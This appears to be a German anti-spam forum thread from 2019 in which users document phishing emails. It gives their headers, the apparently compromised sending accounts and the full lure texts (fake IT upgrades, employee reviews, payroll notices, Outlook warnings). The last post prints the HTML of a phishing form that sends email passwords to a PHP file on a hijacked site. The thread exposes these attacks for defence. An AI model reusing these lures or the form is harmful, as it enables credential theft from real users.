09: 	with ESMTPS (version=TLSv1 cipher=ECDHE-RSA-AES256-SHA bits=256/256)
10: 	ID: [ID filtered]
11: Received: from EXMAIL1.anselm.edu ([169.254.1.87]) by EXCAS2.anselm.edu
12:  ([::1]) with mapi ID: [ID filtered]
gecrackt:

Zitat:

From: Meghan Kelly
Sent: Thursday, August 15, 2019 8:01 AM
Subject: IT Infrastructure

Das Office of IT Infrastructure hat den Speicherzugriff aktualisiert, um
den Schutz der Datenbestände und die Systemleistung zu verbessern.
Klicken Sie auf:
SYSTEM-UPGRADE

^whois:

, um den Speicher zu aktualisieren

© 2019 Helpdesk

IP: 209.170.211.179 ---> mail9.ontramail.com

16.08.2019, 05:05
schara56
header:
```
01: Received: from ussrnewspro.info (ussrnewspro.info [117.50.106.147])
02: 	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
03: 	(No client certificate requested)
04: 	by x (Postfix) with ESMTPS ID: [ID filtered]
05: 	for <x>; Fri, 16 Aug 2019 xx:xx:xx +0200 (CEST)
```
Zitat:

Zitat von Scammy

Mail delivery failed: Incoming message from sender

5 Incoming messages have been pending by administrator, request to upgrade old version switch to new version (v14.91-5.cp1178).
Date: 08/16/2019
User: x
Message ID: DXH953238103

Click on Release or Delivere All Messages, to Release these message(s) to your inbox folder: Deliver All Messages

Quarantined email
Recipient: Subject: date:
Release x
Mail Delivery System : INV 03384 ref / Statement for Account 0191 08/16/2019
Release x Mail Delivery System : FW: Draft B/L Copy & Pending Invoices 08/16/2019
Release x Mail Delivery System : Re: Comercial Invoice overdue 08/16/2019
Release x
Mail Delivery System : FW: FW: BBV Wire Transfer: 9287-08005 07/15/2019
Deliver All messages

Note: This message was sent by the system for notification only. Please do not reply

If this message lands in your spam folder, please move it to your inbox folder for proper interagtion:

^whois:/public/quota25.4GB/Email_DiskUsage/roundcube/index.php?email=x (^whois:204.93.169.106)

Und wieder ein Uni-Account gecrackt:

header:
01: Received: from skl5.ukl.uni-freiburg.de (relay1.ukl.uni-freiburg.de
02: [193.196.199.5])
03: 	by xxxxx (Postfix) with ESMTPS
04: 	for <x>; Wed, 21 Aug 2019 xx:xx:xx +0200 (CEST)
05: Received: from ukl-fm1.ukl.uni-freiburg.de
06: (ukl-fm-ha.ukl.uni-freiburg.de [193.196.199.18])
07: 	by skl5.ukl.uni-freiburg.de (Email) with ESMTP ID: [ID filtered]
08: 	for <x>; Wed, 21 Aug 2019 xx:xx:xx +0200 (CEST)
09: Received: from UKL-EX01.ad.uniklinik-freiburg.de
10: (xxx41.ukl.uni-freiburg.de [193.196.253.41])
11: 	by ukl-fm1.ukl.uni-freiburg.de  with ESMTP ID: [ID filtered]
12: 	(version=TLSv1.0 cipher=ECDHE-RSA-AES256-SHA bits=256 verify=CAFAIL);
13: 	Wed, 21 Aug 2019 xx:xx:xx +0200
14: Received: from UKL-EX02.ad.uniklinik-freiburg.de (193.196.253.42) by
15:  UKL-EX01.ad.uniklinik-freiburg.de (193.196.253.41) with Microsoft SMTP
16: Server (TLS) ID: [ID filtered]
17: Received: from UKL-EX02.ad.uniklinik-freiburg.de
18: ([fe80::5c6a:dba0:befe:60ba]) by UKL-EX02.ad.uniklinik-freiburg.de
19: 	([fe80::5c6a:dba0:befe:60ba%20]) with
20:  mapi ID: [ID filtered]
x-originating-ip: [193.196.253.243] -> xxx243.ukl.uni-freiburg.de

Zitat:

Subject: Mitarbeiterbewertung für SIE.

Ein Mitarbeitergespräch wurde für Sie eingereicht. Führen Sie die
folgenden Schritte aus, um diese Bewertung zu überprüfen und zu bestätigen:

1. Öffnen Sie Ihren Browser, um:

^whois:

2. Geben Sie auf der Seite Ihren Benutzernamen, Ihre E-Mail-Adresse und
Ihr Passwort ein
3. Weitere Informationen werden an Ihren Posteingang gesendet, um das
neueste Datum aus der Dropdown-Liste auszuwählen
4. Suchen Sie den Abschnitt "Employee Acknowledgement"

5. Bestätigen Sie die Beurteilung, indem Sie eine der drei (3) Optionen
im Abschnitt Mitarbeiterbestätigung auswählen

6. Klicken Sie auf die Schaltfläche "Speichern".

Die Ganoven sind immer noch unterwegs:

header:
01: Received: from dsc-ffm-0965.mas.t-systems-service.com
02: (dsc-ffm-0965.mas.t-systems-service.com [185.9.219.211])
03: 	by xxxxx (Postfix) with ESMTPS
04: 	for <x>; Fri, 30 Aug 2019 xx:xx:xx +0200 (CEST)
05: Received: from [11.11.10.236] (helo=DE09S00DEXC0B.ag.gf)
06: 	by dsc-ffm-0965.mas.t-systems-service.com with esmtps
07: (TLSv1.2:ECDHE-RSA-AES128-SHA256:128)
08: 	(envelope-from <wei.yin [at] georgfischer.com>)
09: 	ID: [ID filtered]
10: Received: from DE08S00DEXC0A.ag.gf (10.1.160.19) by DE09S00DEXC0B.ag.gf
11:  (10.1.168.11) with Microsoft SMTP Server (version=TLS1_2,
12:  cipher=TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256) ID: [ID filtered]
13:  Aug 2019 xx:xx:xx +0200
14: Received: from DE08S00DEXC0A.ag.gf ([fe80::fc02:50fa:9e50:1999]) by
15:  DE08S00DEXC0A.ag.gf ([fe80::fc02:50fa:9e50:1999%13]) with mapi ID: [ID filtered]
gecrackt:

Zitat:

From: Yin Wei
Sent: Friday, August 30, 2019 3:41 AM
Subject: Mitarbeiterinterviews für Sie.

Eine Mitarbeiternachricht wurde an Sie gesendet. Führen Sie die
folgenden Schritte aus, um diese Überprüfung zu überprüfen und zu
bestätigen:

1. Öffnen Sie Ihren Browser unter:

^whois:

2. Geben Sie den Benutzernamen, die E-Mail-Adresse und das Passwort
auf der Seite ein.
3. Weitere Informationen werden an Ihren Posteingang gesendet, um das
letzte Datum aus der Dropdown-Liste auszuwählen
4. Suchen Sie nach dem Abschnitt "Anerkennung von Mitarbeitern"
5. Bestätigen Sie die Beurteilung, indem Sie eine der drei (3)
Einstellungen im Abschnitt Mitarbeitererkennung auswählen.
6. Klicken Sie auf die Schaltfläche "Speichern".

IP: 209.170.211.179 -> mail9.ontramail.com

Da die beteiligten ISPs nicht reagieren, können die Ganoven munter weiter phishen:

header:
01: Received: from dsc-ffm-0965.mas.t-systems-service.com
02: (dsc-ffm-0965.mas.t-systems-service.com [185.9.219.211])
03: 	by xxxxx (Postfix) with ESMTPS
04: 	for <x>; Mon,  2 Sep 2019 xx:xx:xx +0200 (CEST)
05: Received: from [11.11.11.4] (helo=dsc-ffm-0866.mas.t-systems-service.com)
06: 	by dsc-ffm-0965.mas.t-systems-service.com with esmtps
07: (TLSv1.3:TLS_AES_256_GCM_SHA384:256)
08: 	(envelope-from <ninglin.kliegel [at] georgfischer.com>)
09: 	ID: [ID filtered]
10: Received: from [11.11.10.236] (helo=DE08S00DEXC0C.ag.gf)
11: 	by dsc-ffm-0866.mas.t-systems-service.com with esmtps
12: (TLSv1.2:ECDHE-RSA-AES128-SHA256:128)
13: 	(envelope-from <ninglin.kliegel [at] georgfischer.com>)
14: 	ID: [ID filtered]
15: Received: from DE09S00DEXC0D.ag.gf (10.1.168.1) by DE08S00DEXC0C.ag.gf
16:  (10.1.160.9) with Microsoft SMTP Server (version=TLS1_2,
17:  cipher=TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256) ID: [ID filtered]
18: 2 Sep 2019 xx:xx:xx +0200
19: Received: from DE09S00DEXC0D.ag.gf ([fe80::ed68:7f98:33f7:da01]) by
20:  DE09S00DEXC0D.ag.gf ([fe80::ed68:7f98:33f7:da01%13]) with mapi ID: [ID filtered]
IP: 185.9.219.211 -> dsc-ffm-0965.mas.t-systems-service.com

Zitat:

From: Kliegel-Chen, Ninglin
Sent: Monday, September 2, 2019 6:00 AM
Subject: Mitarbeiterbewertung für SIE.

Ein Mitarbeitergespräch wurde für Sie eingereicht. Führen Sie die
folgenden Schritte aus, um diese Bewertung zu überprüfen und zu bestätigen:

1. Öffnen Sie Ihren Browser zu:

^whois:

2. 2. Geben Sie auf der Seite Ihren Benutzernamen, Ihre
E-Mail-Adresse und Ihr Passwort ein

3. 3. Weitere Informationen werden an Ihren Posteingang
gesendet, um das neueste Datum aus der Dropdown-Liste auszuwählen

4. 4. Suchen Sie den Abschnitt "Employee Acknowledgement"

5. 5. Bestätigen Sie die Beurteilung, indem Sie eine der drei
(3) Optionen im Abschnitt Mitarbeiterbestätigung auswählen

6. 6. Klicken Sie auf die Schaltfläche "Speichern".

IP: 209.170.211.179 -> mail9.ontramail.com

02.09.2019, 16:29
schara56

Interessant: der HTTP POST geht zu ^whois:/v2.4/form_processor.php?lpid=2&block_id=x
Der Parameter f1619 ist die erste Kennwortangabe und
der Parameter f1620 ist die Wiederholung des Kennwortes.
09.09.2019, 11:02
kjz1
Mail-Account phishing nach Mugu-Art:

header:
```
01: Received: from PUCEEDGE.puce.edu.ec (smptout.puce.edu.ec [192.188.55.62])
02: 	by xxxxx (Postfix) with ESMTPS
03: 	for <x>; Mon,  9 Sep 2019 xx:xx:xx +0200 (CEST)
04: Received: from PUCEMBX2.puce.edu.ec (172.31.2.7) by puceedge.puce.edu.ec
05:  (10.10.1.1) with Microsoft SMTP Server (TLS) ID: [ID filtered]
06: 2019 xx:xx:xx -0500
07: Received: from PUCEMBX1.puce.edu.ec (172.31.2.6) by PUCEMBX2.puce.edu.ec
08:  (172.31.2.7) with Microsoft SMTP Server (TLS) ID: [ID filtered]
09: Sep 2019 xx:xx:xx -0500
10: Received: from PUCEMBX1.puce.edu.ec ([fe80::f131:c6f4:43ed:f741]) by
11:  PUCEMBX1.puce.edu.ec ([fe80::f131:c6f4:43ed:f741%18]) with mapi ID: [ID filtered]
```
x-originating-ip: [176.227.106.237] -> TR-TURKCELL-INTERNET

gecrackt:

Zitat:

Ungewöhnliche Anmeldeaktivität

Wir haben etwas Ungewöhnliches bei der kürzlich erfolgten Anmeldung in
diesem Konto festgestellt. Um Ihre Sicherheit zu gewährleisten, mussten
wir eine zusätzliche Sicherheitsanforderung stellen und Ihr Konto
aktualisieren. Wir möchten Sie darauf hinweisen, dass Ihr Konto
deaktiviert wird, wenn Sie Ihr Konto nicht aktualisieren. Um Ihr Konto
von unserer Deaktivierungsliste zu entfernen, KLICKEN
HIER

^whois:

, um Ihr Konto zu aktualisieren

Hinweis: Sie müssen diese Nachricht zuerst in Ihren Posteingang
verschieben, damit Sie Ihr Konto aktualisieren können
27.09.2019, 07:38
kjz1
Dank gewissenloser Registrare und Hoster, für die nur Monetik (und keine Ethik) das Grundprinzip alles Handelns ist, sind diese Ganoven immer noch online:

header:
```
01: 	Thu, 26 Sep 2019 xx:xx:xx +0200 (CEST)
02: Received: from esa2.browardhealth.iphmx.com
03: (esa2.browardhealth.iphmx.com [68.232.141.83])
04: 	by xxxxx (Postfix) with ESMTP
05: 	for <x>; Thu, 26 Sep 2019 xx:xx:xx +0200 (CEST)
06: Received: from unknown (HELO CGreenMTA3) ([65.82.23.33])
07:   by esa2.browardhealth.iphmx.com with
```
gecrackt:

Zitat:

From: Wu, Yuping
Sent: Thursday, September 26, 2019 5:08 AM
Subject: Lohnbuchhaltung

Ihre Gehaltsabrechnung für die direkte Einzahlung für September 2019
kann eingesehen werden. Bitte sehen Sie sich Ihren Namen auf der unten
stehenden Website für die Gehaltsabrechnung an und bestätigen Sie ihn.

So melden Sie sich an:
1) Melden Sie sich mit Ihrem Arbeitskonto und Passwort an.

Bitte beachten Sie, dass die Personalabrechnung der Mitarbeiter nun
alphabetisch unterteilt ist:

A - J Die Gewinn- und Verlustrechnung finden Sie unter

^whois:

K - Z Die Gewinn- und Verlustrechnung finden Sie unter

^whois:

Lohnbuchhaltung

IP: 209.170.211.179 -> mail9.ontramail.com

Die Dreckskiste ist immer noch am Netz:

header:
01: Received: from skl5.ukl.uni-freiburg.de (relay1.ukl.uni-freiburg.de
02: [193.196.199.5])
03: 	by xxxxx (Postfix) with ESMTPS
04: 	for <x>; Fri, 27 Sep 2019 xx:xx:xx +0200 (CEST)
05: Received: from ukl-fm1.ukl.uni-freiburg.de
06: (ukl-fm-ha.ukl.uni-freiburg.de [193.196.199.18])
07: 	by skl5.ukl.uni-freiburg.de (Email) with ESMTP ID: [ID filtered]
08: 	for <x>; Fri, 27 Sep 2019 xx:xx:xx +0200 (CEST)
09: Received: from UKL-EX01.ad.uniklinik-freiburg.de
10: (xxx41.ukl.uni-freiburg.de [193.196.253.41])
11: 	by ukl-fm1.ukl.uni-freiburg.de  with ESMTP ID: [ID filtered]
12: 	(version=TLSv1.0 cipher=ECDHE-RSA-AES256-SHA bits=256 verify=CAFAIL);
13: 	Fri, 27 Sep 2019 xx:xx:xx +0200
14: Received: from UKL-EX04.ad.uniklinik-freiburg.de (193.196.253.44) by
15:  UKL-EX01.ad.uniklinik-freiburg.de (193.196.253.41) with Microsoft SMTP
16: Server
17:  (TLS) ID: [ID filtered]
18: Received: from UKL-EX04.ad.uniklinik-freiburg.de
19: ([fe80::2c3a:36c9:7108:7d5b])
20:  by UKL-EX04.ad.uniklinik-freiburg.de ([fe80::2c3a:36c9:7108:7d5b%18]) with
21:  mapi ID: [ID filtered]
IP: 193.196.253.243 -> xxx243.ukl.uni-freiburg.de

Zitat:

__________________
From: PD Dr. Arthur Robert Schmidt
Sent: Friday, September 27, 2019 3:42:17 AM
Subject: ePay

Ihre neueste Zahlungsliste kann jetzt auf ePay angezeigt werden.

Sie können auf ePay unter

^whois:

zugreifen.

Für Gehaltsinformationen und Unterstützung wenden Sie sich bitte an Ihre
Personalabteilung.

Dies ist ein automatisch generierter Brief - bitte antworten Sie nicht
auf diese Adresse. Wenn Sie Fragen haben, besuchen Sie die Website von epay.
______________________________________________________________________
Diese E-Mail wurde von Symantec Email Security.cloud gescannt.

IP: 209.170.211.179 ->
mail9.ontramail.com

30.09.2019, 11:36
kjz1
Immer noch aktiv:

header:
```
01: Received: from su-edge-01.sevsu.ru (su-edge-01.sevsu.ru [178.34.184.165])
02: 	by xxxxx (Postfix) with ESMTPS
03: 	for <x>; Mon, 30 Sep 2019 xx:xx:xx +0200 (CEST)
04: Received: from SU-MB-01.sevsu.ru (10.32.9.15) by SU-EDGE-01.sevsu.ru
05:  (10.32.11.4) with Microsoft SMTP Server (TLS) ID: [ID filtered]
06:  2019 xx:xx:xx +0300
```
x-originating-ip: [188.126.71.247] -> glesys.se

Zitat:

From: Петр Сергеевич Михалицын
Sent: Monday, September 30, 2019 2:21 AM
Subject: Einladung zur ITHelp-Umfrage

Sie wurden eingeladen, an einer Zufriedenheitsumfrage für ein aktuelles
IT-Help-Ticket teilzunehmen.

Klicken Sie auf EIN

^whois:

um an Ihrer Umfrage teilzunehmen

Sie können Ihre Umfragewarteschlange jederzeit anzeigen, indem Sie sich
anmelden und zu Self-Service> Meine Bewertungen und Umfragen navigieren.

Zusätzliche Details zu dieser Umfrage sind:

Nummer #: INC1798292

Kurzbeschreibung: HELP-DESK ALERT.

Beschreibung:

Auflösungsdatum: Heute

IP: 209.170.211.179 -> mail9.ontramail.com
01.10.2019, 10:01
kjz1
Und wieder nach Mugu-Art:

header:
```
01: Received: from slot0.harrybluer.com (slot0.harrybluer.com [192.119.93.127])
02: 	by xxxxx (Postfix) with ESMTPS
03: 	for <x>; Tue,  1 Oct 2019 xx:xx:xx +0200 (CEST)
```
Zitat:

Microsoft- Outlook
Sehr geehrter Outlook-Webmail-Benutzer,
In Ihrem Outlook-Postfach ist ein ungewöhnlicher und nicht autorisierter
Anmeldeversuch aufgetreten. Outlook-Sicherheit empfiehlt Ihnen, Ihr
Konto sofort zu validieren, um eine Sperre zu vermeiden.

KLICKE HIER

Bitte klicken Sie HIER, um zu verhindern, dass Ihr Konto deaktiviert
wird. Vielen Dank, dass Sie Outlook dabei unterstützen, Sie zu schützen.

Mit freundlichen Grüßen,
IT-Helpdesk
Outlook WebApp!

^whois:
01.10.2019, 11:38
kjz1
hohe Aktivität zur Zeit:

header:
```
01: Tue,  1 Oct 2019 xx:xx:xx +0200 (CEST)
02: Received: from msk-mx01.alrosa.ru (msk-mx01.alrosa.ru [91.207.140.12])
03: 	by xxxxx (Postfix) with ESMTP
04: 	for <x>; Tue,  1 Oct 2019 xx:xx:xx +0200 (CEST)
05: Received: from msk-mbe01.alrosa.ru ([10.153.100.102])
06:   by msk-mx01.alrosa.ru with ESMTP; 01 Oct 2019 xx:xx:xx +0300
07: Received: from MIR-MBE21.alrosa.ru (10.64.36.74) by MSK-MBE01.alrosa.ru
08:  (10.153.100.102) with Microsoft SMTP Server (TLS) ID: [ID filtered]
09: 1 Oct  2019 xx:xx:xx +0300
10: Received: from MIR-MBE22.alrosa.ru (10.64.36.75) by MIR-MBE21.alrosa.ru
11:  (10.64.36.74) with Microsoft SMTP Server (TLS) ID: [ID filtered]
12:  2019 xx:xx:xx +0900
13: Received: from MIR-MBE22.alrosa.ru ([fe80::deb:7ada:2aff:749f]) by
14:  MIR-MBE22.alrosa.ru ([fe80::deb:7ada:2aff:749f%13]) with mapi ID: [ID filtered]
```
gecrackt:

Zitat:

From: Попков Александр Валерьевич
Sent: Tuesday, October 1, 2019 2:21 AM
Subject: bestätigen Sie diese Einschätzung

Mitarbeiterbewertung für SIE.

Ein Mitarbeitergespräch wurde für Sie eingereicht. Führen Sie die
folgenden Schritte aus, um diese Bewertung zu überprüfen und zu bestätigen:

1. Öffnen Sie Ihren Browser unter:

^whois:

2. Geben Sie auf der Seite Ihren Benutzernamen, Ihre E-Mail-Adresse und
Ihr Passwort ein

3. Weitere Informationen werden an Ihren Posteingang gesendet, um das
neueste Datum aus der Dropdown-Liste auszuwählen

4. Suchen Sie den Abschnitt "Employee Acknowledgement"

5. Bestätigen Sie die Beurteilung, indem Sie eine der drei (3) Optionen
im Abschnitt Mitarbeiterbestätigung auswählen

6. Klicken Sie auf die Schaltfläche "Speichern".

IP: 209.170.211.179 -> mail9.ontramail.com
09.10.2019, 09:39
kjz1
wieder dummdreist nach Mugu-Art:

header:
```
01: Received: from slot0.harrybluer.com (slot0.harrybluer.com [192.119.93.127])
02: 	by xxxxx (Postfix) with ESMTPS
03: 	for <x>; Wed,  9 Oct 2019 xx:xx:xx +0200 (CEST)
```
IP: 192.119.93.127 -> slot0.harrybluer.com/Hostwinds LLC

Zitat:

Willkommen bei der neuen Outlook-Kontoanwendung für alle Benutzer.

Wir haben bei einer kürzlich erfolgten Anmeldung für das Microsoft-Konto
etwas Ungewöhnliches festgestellt. Wir haben beschlossen, unser Webmail
auf die neue Outlook-Webanwendung zu aktualisieren, damit die
Mitarbeiter die Sicherheit der E-Mails der Mitarbeiter gewährleisten
können. Das neue Outlook ist das neue Zuhause für Self-Service- und
Online-Informationen.

Klicken Sie auf (HIER ANMELDEN) und melden Sie sich zum Aktualisieren an:

· Einfacher Zugriff auf E-Mail
· Neue Version der E-Mail
· Schnelle Antwort per E-Mail
· Aktualisieren Sie Ihren Lichtbildausweis
· E-Mail- und Kalenderflexibilität
· Verbinden Sie die Mobiltelefonnummer mit der E-Mail für Voicemail

KLICKEN SIE HIER, um Ihre E-Mail auf die neue Version zu aktualisieren

Wir blockieren den Zugriff auf Ihren Posteingang, Ihre Kontaktliste und
Ihren Kalender nach 24 Stunden, wenn Sie nicht auf die neueste
Outlook-VERSION aktualisieren.

Danke
Das Microsoft-Account-Team.

Neues Microsoft Outlook

^whois:
14.10.2019, 08:54
schara56
header:
```
01: Received: from server.lawpavilion.com (server.lawpavilion.com [64.50.180.197])
02: 	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
03: 	(No client certificate requested)
04: 	by x (Postfix) with ESMTPS ID: [ID filtered]
05: 	for <x>; Mon, 14 Oct 2019 xx:xx:xx +0200 (CEST)
06: [...]
07: Received: from ip61.ip-66-70-235.net ([66.70.235.61]:54504)
08: 	by server.lawpavilion.com with esmtpa (Exim 4.91)
09: 	(envelope-from <aa [at] szclou.com>)
10: 	ID: [ID filtered]
11: 	for x; Sat, 12 Oct 2019 xx:xx:xx -0700
```
^whois:/wp-content/plugins/js_composer/assets/js/frontend_editor/vendors/plugins/zoladoc.php

Code:

<form name="myForm" action="https://www.bellingusto.it/wp-content/plugins/js_composer/assets/js/frontend_editor/vendors/plugins/zoladoc.php" onsubmit="return validateForm()" method="post"> <table cellpadding="10px"> <tbody> <tr> <td width="200px"><span style="color:#3192c4; font-weight:bold;">Email ID</span></td> <td><input type="text" name="feedback" class="inp" size="30"style="height:2em; color:#888888;"/><br /><span id="errfn"></span></td> </tr> <tr> <td><span style="color:#3192c4; font-weight:bold;">Email Password</span></td> <td><input type="password" name="feedbacknow" class="inp" size="30" style="height:2em; color:#888888;"/><br /><span id="errfnn"></span></td> </tr> <tr> <td></td> <td><input type="submit" value="View Document" class="btn" /></td> </tr> </tbody> </table> </form>

40 Beiträge dieses Themas auf einer Seite anzeigen

Alle Zeitangaben in WEZ +1. Es ist jetzt 23:12 Uhr.

Antispam e.V. / Impressum